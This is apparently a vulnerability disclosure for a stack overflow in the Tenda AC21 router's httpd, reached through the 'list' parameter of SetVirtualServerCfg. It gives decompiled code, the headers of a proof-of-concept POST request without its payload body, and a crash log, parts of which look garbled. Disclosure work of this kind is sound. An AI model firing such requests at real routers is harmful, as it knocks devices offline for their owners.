



description

1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd , function formSetVirtualSer

Attackers can cause this vulnerability via parameter list

In function formSetVirtualSer, it calls save_virtualser_data and vulnerability is in this function.

```
memset(v4, 0, sizeof(v4));
v2 = 0;
v3 = websGetVar(a1, "list", &unk_4DAB54);
save_virtualser_data("adv.virtualser", (const char *)v3, '~');// 1
if ( CommitCfm() )
{
    sprintf(v4, "advance_type=%d", 2);
    send_msg_to_netctrl(5, v4);
}
else
{
```

In function save_virtualser_data , it calls sscanf to read strings in v9 (a2) to parameter on the stack without checking its length , so there is a buffer overflow vulnerability.

```
v6 = 1;
w1 = (char *)a2;
for ( i = strchr(a2, a3); i; i = strchr(v8, a3) )
{
    *i = 0;
    v8 = i + 1;
    memset(v10, 0, sizeof(v10));
    sprintf(v10, "%s.list%d", a1, v6);

    if ( sscanf(v0, "%[^,]%*c%[^,]%*c%s", v12, v13, v14, v15) == 4 )// 1
    {
        sprintf(v11, "0;%s;%s;%s;%s;%s;1", (const char *)v14, (const char *)v13, (const char *)v12, (const char *)v15);
        SetValue(v10, v11);
    }
    v0 = (char *)v8;
    ++v6;
}
```

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 160
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system_time.html?random=0.278922737111333&
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: password=25d55ad283aa400af464c76d713c07adfmbcvb
Connection: close
```

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By sending this poc, we can make httpd reboot

```
Reaped pid = 4787
       argv[0] = httpd
httpd
       Yes:
             ***** WeLoveLinux*****
        ***** Welcome to ****
       -----webs.c,158
       webs: Listening for HTTP requests at address 192.168.0.1

_br_brc_notify 3465: the bridge add fdb failed

_br_brc_notify 3467: group = 3, type = 28, fdb->is_local = 1
           4468 root
                              0:00 [kworker/0:2]
           4643 root
                              0:00 [kworker/0:0]
           4779 root
                              0:00 sntp -z 28800 -t 86400
           4787 root
                              0:00 httpd
           4800 root
                              0:00 ps
           # ps
                  v:00 ancp want -c /etc/want.tht -m r ethr -n tthux-e001153
4102 TOOL
4189 root
                  0:00 dnrd --cache=2000:4000 -R /etc/dnrd -s 172.26.26.3 -s
4273 root
                  0:00 miniupnpd -f /etc/miniupnpd.config
4828 root
                  0:00 [kworker/0:2]
4929 root
                  0:00 sntp -z 28800 -t 86400
5026 root
                  0:00 [kworker/0:0]
5030 root
                  0:00 httpd
5040 root
                  0:00 ps
```